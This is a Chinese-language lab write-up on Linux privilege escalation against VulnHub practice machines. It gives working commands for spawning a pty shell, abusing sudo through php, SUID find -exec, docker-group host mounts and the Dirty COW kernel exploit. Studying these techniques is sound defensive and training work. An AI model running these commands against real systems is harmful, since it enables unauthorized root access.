权限提升-Linux
交互式Shell
su root被禁止登录(获取交互shell)
拿到 root 密码,端口转发,代理,但防火墙禁止其他人登录 root;
用原来的低权限 shell,也无法 sudo 切换 root
提示
因为出于安全考虑,linux 要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)
所以 sudo 在你输入密码的时候本质上是读取了键盘,而不是读取 bash 里面输入的字符
利用Python获取交互shell
python -c 'import pty;pty.spawn("/bin/sh")'
sudo su
Sudo滥用提权
原理
/etc/sudoers文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证
靶机-Me-And-My-Girlfriend
https://download.vulnhub.com/meandmygirlfriend/Me-and-My-Girlfriend-1.ova
1、信息收集
2、http头 X-Forwarded-For
3、注册用户-越权-爆破SSH
4、Sudo滥用提权 php
提权步骤:
1)查看当前用户有sudo权限的程序
sudo -l
#结果如下
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on gfriEND:
(root) NOPASSWD: /usr/bin/php
2)以root权限运行php生成一个交互shell
CMD="/bin/sh"
sudo php -r "system('$CMD');"
3)之后查看 /etc/sudoers文件
alice ALL=(root) NOPASSWD: /usr/bin/php
#可以发现 alice用户可以用root权限无需密码运行 php
SUID提权
[Linux DirtyPipe权限提升漏洞 CVE-2022-0847](http://wiki.peiqi.tech/wiki/system/Linux/Linux DirtyPipe权限提升漏洞 CVE-2022-0847.html)
[Linux eBPF权限提升漏洞 CVE-2022-23222](http://wiki.peiqi.tech/wiki/system/Linux/Linux eBPF权限提升漏洞 CVE-2022-23222.html)
原理
SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行;
ls 查看时有 s 属性才支持 SUID。
靶机-DC1
https://download.vulnhub.com/dc/DC-1.zip
1)查找正在系统上运行的所有SUID可执行文件
find / -user root -perm -4000 -print 2>/dev/null
2)SUID-find提权
#随便新建一个文件,或利用已有文件
touch abc
#以SUID即root权限执行命令
find abc -exec whomai \;
Docker提权
原理:
linux机器上的本地用户信息主要记录在/etc/目录下,比如两个常见文件/etc/passwd和/etc/group两个文件分别记录了用户基本属性与用户分组信息。
将宿主机上的/etc目录直接映射进容器,从而覆盖了容器内的/etc目录;再加上容器内用户默认是root,拥有超级管理员权限。
靶机:
https://download.vulnhub.com/sunset/dusk.7z
Sudo滥用提权+Docker提权
1、先sudo提权到普通用户权限
2、Docker提权
1)查看当前用户是否在Docker用户组内 (id)
2)Dcker提权-映射磁盘
docker run -it --rm -v /etc:/etc 容器ID /bin/bash
或
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
系统内核漏洞提权
靶机-Lampiao
https://download.vulnhub.com/lampiao/Lampiao.zip
1)系统内核信息收集
#查看系统版本内核信息
uname -a
#centos
hostnamectl
#查看系统版本内核详细信息,推荐这个命令
#ubuntu
lsb_release -a
2)使用 searchsploit 查找相关内核漏洞
searchsploit linux 3.10 CentOS Linux 7
3)脏牛提权 (Dirty COW) https://github.com/gbonacini/CVE-2016-5195
./dcow -s
编译好后报错cannot execute binary file: Exec format error,原因是系统版本和g++版本差异造成的,将源码上传到目标系统编译执行,成功执行
4)脏牛提权原理
该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,
可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。
当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,
如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。